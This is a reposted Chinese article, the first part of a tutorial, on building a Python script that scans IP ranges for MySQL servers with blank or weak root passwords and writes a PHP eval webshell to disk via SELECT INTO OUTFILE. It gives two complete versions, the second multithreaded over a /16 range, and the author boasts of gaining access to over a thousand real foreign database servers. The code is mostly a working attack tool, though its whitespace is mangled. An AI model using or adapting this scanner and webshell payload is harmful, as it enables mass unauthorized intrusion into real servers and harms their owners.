加入收藏 | 设为首页 | 会员中心 | 我要投稿 辽源站长网 (https://www.0437zz.com/)- 云专线、云连接、智能数据、边缘计算、数据安全!
当前位置: 首页 > 站长资讯 > 外闻 > 正文

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

发布时间:2019-01-29 05:39:51 所属栏目:外闻 来源:合天智汇
导读:01前言 一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。 02起因 这个脚本最开始的构思是
副标题[/!--empirenews.page--]

01前言

一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。

02起因

这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

原始脚本-1:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. defmysql_connect1(ip,shell_url): 
  7. #尝试数据库连接 
  8. try: 
  9. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  10. cur=conn.cursor() 
  11.  
  12. #若数据库连接成功,开始写马 
  13. try: 
  14. sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url) 
  15. #printsql_insert; 
  16.  
  17. cur.execute(sql_insert) 
  18. print"写入成功".decode() 
  19. exceptException as e: 
  20. print"写入错误" 
  21. printe; 
  22. return 
  23. cur.close() 
  24. conn.close() 
  25.  
  26. exceptMySQLdb.Error,e: 
  27. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  28. return 
  29.  
  30. if__name__ == "__main__": 
  31. fp_ip=open('ip.txt') 
  32. shell_url= 'D:/1.PHP' 
  33.  
  34. forip in fp_ip.readlines(): 
  35. fp4=ip.replace('r',"").replace('n',"") 
  36. #url=str(fp5) 
  37. printfp4 
  38. mysql_connect1(ip,shell_url) 
  39.  
  40. print'检测结束' 

需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在

https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。

03计划

这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)

计划对其做以下改进:

1. 加快其速度,支持大批量扫描

2. 增加自动爆破密码的功能

3. 增加日志记录功能

4. 代码规范简洁

04引入多线程

升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。

主要更改了这几处:

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

以下是这次修改后的完整的代码-2:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. importthreading 
  7. importtime 
  8. importIPy 
  9.  
  10. defmysql_connect1(ip,shell_url,shell_content): 
  11. #尝试数据库连接 
  12. try: 
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
  14. cur=conn.cursor() 
  15.  
  16. #若数据库连接成功,开始写马 
  17. try: 
  18.  
  19. sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
  20. printsql_insert; 
  21.  
  22. cur.execute(sql_insert) 
  23. print"写入成功".decode() 
  24.  
  25. exceptException as e: 
  26. print"写入错误" 
  27. printe; 
  28. return 
  29. cur.close() 
  30. conn.close() 
  31.  
  32.  
  33. exceptMySQLdb.Error,e: 
  34. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  35. return 
  36.  
  37. if__name__ == "__main__": 
  38. #内容设置 
  39. shell_url='../../../../wamp64/www/erg2313231.php'; 
  40. shell_content='<?php@eval($_POST[cmd]); ?>' 
  41. #设置同时运行的线程数 
  42. threads=25 
  43. #要检测的IP网段 
  44. ip1= IPy.IP('192.168.0.0/16') 
  45.  
  46.  
  47. forip in ip1:     
  48. ip=str(ip) 
  49. while(threading.activeCount()>threads): 
  50. time.sleep(1) 
  51. threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
  52. print'检测结束' 

05改善速度,增加ping函数

(编辑:辽源站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读